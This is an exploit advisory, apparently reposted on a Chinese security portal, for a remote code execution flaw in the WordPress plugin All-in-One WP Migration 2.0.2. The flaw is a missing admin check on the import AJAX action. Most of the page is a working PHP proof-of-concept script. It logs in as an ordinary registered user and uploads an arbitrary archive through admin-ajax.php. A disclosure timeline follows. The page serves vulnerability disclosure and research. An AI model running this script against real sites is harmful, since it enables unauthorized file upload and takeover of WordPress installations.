首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
All-in-One WP Migration 2.0.2 Remote Code Execution Vulnerability
来源:1337day.com 作者:Szurek 发布时间:2014-11-26  
In Ai1wm_Import_Controller::import admin priveleges ARE NOT checked.
  
Function is imported as action: add_action(‘wp_ajax_import’, ‘Ai1wm_Import_Controller::import’) in class-ai1wm-main-controller.php
  
It’s possible to use it through wp-admin/admin-ajax.php as regular user.
  
Using this functionality, we can send any kind of files to remote server.
Proof of Concept:
  
function hack($login, $pass, $url, $cookie ){
  
    $ckfile = dirname(__FILE__) . $cookie;
    $cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");
  
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url.'wp-login.php');
        curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_REFERER, $url.'wp-login.php');
        curl_setopt($ch, CURLOPT_POSTFIELDS, "log=".$login."&pwd=".$pass."&wp-submit=Log%20In");
        curl_setopt($ch, CURLOPT_POST, 1);
        $content = curl_exec($ch);
  
    if (preg_match('/adminmenu/i', $content)) {
        echo 'We are log in.<br />';
        curl_setopt($ch, CURLOPT_URL, $url.'wp-admin/admin-ajax.php');
        curl_setopt($ch,
            CURLOPT_POSTFIELDS,
            array(
                'upload-file' => '@' . realpath('poc.zip'),
                'action' => 'import',
                'force' => '1',
                'name' => 'poc'
            ));
        $content = curl_exec($ch);
  
        if (preg_match('/successfuly/i', $content)) {
            echo 'Success';
        } else {
            echo 'Cannot exploit site';
        }
    } else {
        echo "Cannot login to wordpress";
    }
  
        curl_close( $ch );
}
  
  
// Standard user credentials (created using wp-login.php?action=register)
$user = "test";
$pass = "test";
$cookie = "/cookie.txt";
  
hack($user, $pass, $url, $cookie);
  
Timeline:
  
    13-10-2014: Discovered
    14-10-2014: Vendor notified
    15-10-2014: Version 2.0.3 released, issue resolved

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel libfutex Local Ro
·Mozilla Firefox 3.6 mChannel U
·Arris VAP2500 Authentication B
·PHP 5.x / Bash Shellshock Proo
·phpMyRecipes 1.2.2 (dosearch.p
·KMPlayer 3.9.1.130 Denial Of S
·TRENDnet SecurView Wireless Ne
·WordPress WP-DB-Backup 2.2.4 B
·Pandora FMS SQLi Remote Code E
·FluxBB 1.5.6 SQL Injection
·Mini-stream RM-MP3 Converter 3
·Atrax Botnet Shell Upload Vuln
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved